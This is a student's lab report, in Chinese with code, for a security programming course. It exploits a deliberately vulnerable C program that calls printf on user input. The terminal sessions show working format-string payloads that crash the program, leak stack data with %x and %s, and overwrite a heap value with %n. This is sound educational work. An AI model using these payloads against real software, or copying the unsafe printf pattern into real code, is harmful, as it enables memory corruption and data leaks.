- Lab2.4: Format String Vulnerability
  - Step 1: 配置具备漏洞的程序：
  - Step 2: 尝试使其崩溃：
  - Step 3: 获取secret[1]:
  - Step 4/5: 修改secret[1]的值，修改secret[1]的值为预设的值：
  - 小结

Security Programming

Lab 2.4

Wang Haoyuan

Lab2.4: Format String Vulnerability

Step 1: 配置具备漏洞的程序：

与之前的lab一样，在文件夹中创建一个.c文件，并输入示例代码：

why@why: ~/SP/SP2.4

```c
/* vul_prog.c */

#define SECRET1 0x44
#define SECRET2 0x55

int main(int argc, char *argv[])
{
  char user_input[100];
  int *secret;
  int int_input;
  int a, b, c, d; /* other variables, not used here.*/

  /* The secret value is stored on the heap */
  secret = (int *) malloc(2*sizeof(int));

  /* getting the secret */
  secret[0] = SECRET1; secret[1] = SECRET2;

  printf("The variable secret's address is 0x%8x (on stack)\n", &secret);
  printf("The variable secret's value is 0x%8x (on heap)\n", secret);
  printf("secret[0]'s address is 0x%8x (on heap)\n", &secret[0]);
  printf("secret[1]'s address is 0x%8x (on heap)\n", &secret[1]);

  printf("Please enter a decimal integer\n");
  scanf("%d", &int_input);  /* getting an input from user */
  printf("Please enter a string\n");
  scanf("%s", user_input); /* getting a string from user */

  /* Vulnerable place */
  printf(user_input);
  printf("\n");

  /* Verify whether your attack is successful */
  printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
  printf("The new secrets:      0x%x -- 0x%x\n", secret[0], secret[1]);
  return 0;
}
```

编译它（虽然有很多warning），之后尝试运行它，可以看到它是能够“正常”运行的：

```
why@why:~/SP/SP2.4$ ./coding
The variable secret's address is 0xf0e13a38 (on stack)
The variable secret's value is 0x6fde82a0 (on heap)
secret[0]'s address is 0x6fde82a0 (on heap)
secret[1]'s address is 0x6fde82a4 (on heap)
Please enter a decimal integer
13
Please enter a string
string
string
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
```

Step 2: 尝试使其崩溃：

本程序主要通过`printf(user_input)`这行代码进行攻击。由于printf()函数会将带有`%`的格式化字符串进行参数匹配，而如果没有足够的参数（例如`printf("%s%s%s")`，此时需要三个参数但实际没有为printf传参），那么printf()就会用栈中元素替代参数。而这种未定义行为很有可能使程序崩溃。

因此，我们只需在`string`栏输入多个`%s`，即可令程序崩溃：

```
why@why:~/SP/SP2.4$ ./coding
The variable secret's address is 0x4502f7e8 (on stack)
The variable secret's value is 0x 4fa82a0 (on heap)
secret[0]'s address is 0x 4fa82a0 (on heap)
secret[1]'s address is 0x 4fa82a4 (on heap)
Please enter a decimal integer
1
Please enter a string
%s%s%s%s%s%s%s%s
Segmentation fault
```

程序显示`Segmentation Fault`说明已经崩溃，因此目的达到。

Step 3: 获取secret[1]:

我们观察代码中的内存分配可以发现，可以通过user_input来反向获取secret的地址：

```
int int_input;
int a, b, c, d; /* other variables, not used here.*/

/* The secret value is stored on the heap */
secret = (int *) malloc(2*sizeof(int));
```

那么通过输入的user_input结合利用printf()函数，让系统将栈中的数据逐个抛出，即可查看到secret[1]对应所在的位置，具体操作如下所示（注意，此处编译时应当用32位方式编译！）

```
why@why:~/SP/SP2.4$ ./coding
The variable secret's address is 0xfff36fd0 (on stack)
The variable secret's value is 0x5775e1a0 (on heap)
secret[0]'s address is 0x5775e1a0 (on heap)
secret[1]'s address is 0x5775e1a4 (on heap)
Please enter a decimal integer
15
Please enter a string
%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
fff36fd8,0,56594204,0,0,0,fff37114,5775e1a0,f,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
```

发现我们输入的15（十六进制为f）在第九个位置（而它前面恰好是secret[0]的地址），因此可以通过输入secret[1]对应的十进制地址，来尝试对第九个位置的数据以字符串的方式输出：

```
why@why:~/SP/SP2.4$ ./coding
The variable secret's address is 0xffef2000 (on stack)
The variable secret's value is 0x57c471a0 (on heap)
secret[0]'s address is 0x57c471a0 (on heap)
secret[1]'s address is 0x57c471a4 (on heap)
Please enter a decimal integer
1472491940
Please enter a string
%x%x%x%x%x%x%x%x,|||,%s
ffef20080566122040000ffef214457c471a0,|||,U
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
```

成功找到了secret[1]中对应的值（U）。

Step 4/5: 修改secret[1]的值；修改secret[1]的值为预设的值：

这一步主要利用的是printf()的%n方法。它会将对应位置的数据修改为已经输入的字符个数。那么如果直接将%s改为%n，其结果就会是$4 \times 9 = 36$，即0x24:

```
why@why:~/SP/SP2.4$ ./coding
The variable secret's address is 0xffeb34a0 (on stack)
The variable secret's value is 0x56aa31a0 (on heap)
secret[0]'s address is 0x56aa31a0 (on heap)
secret[1]'s address is 0x56aa31a4 (on heap)
Please enter a decimal integer
1453994404
Please enter a string
%x%x%x%x%x%x%x%x%n
ffeb34a80565fb204000ffeb35e456aa31a0
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x24
```

根据这个原理，我们可以在%n前插入任意长度的字符，从而将对应secret[1]的值修改为想要的值，例如可以在%n前输入123456令其结果为0x2a:

```
why@why:~/SP/SP2.4$ ./coding
The variable secret's address is 0xfff204a0 (on stack)
The variable secret's value is 0x57e0f1a0 (on heap)
secret[0]'s address is 0x57e0f1a0 (on heap)
secret[1]'s address is 0x57e0f1a4 (on heap)
Please enter a decimal integer
1474359716
Please enter a string
%x%x%x%x%x%x%x%x123456%n
fff204a80565f5204000fff205e457e0f1a0123456
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x2a
```

小结

本实验目的为通过printf()函数相关的隐式漏洞，完成相应的程序攻击。这警示我们在编程时同样要注意编程安全的问题。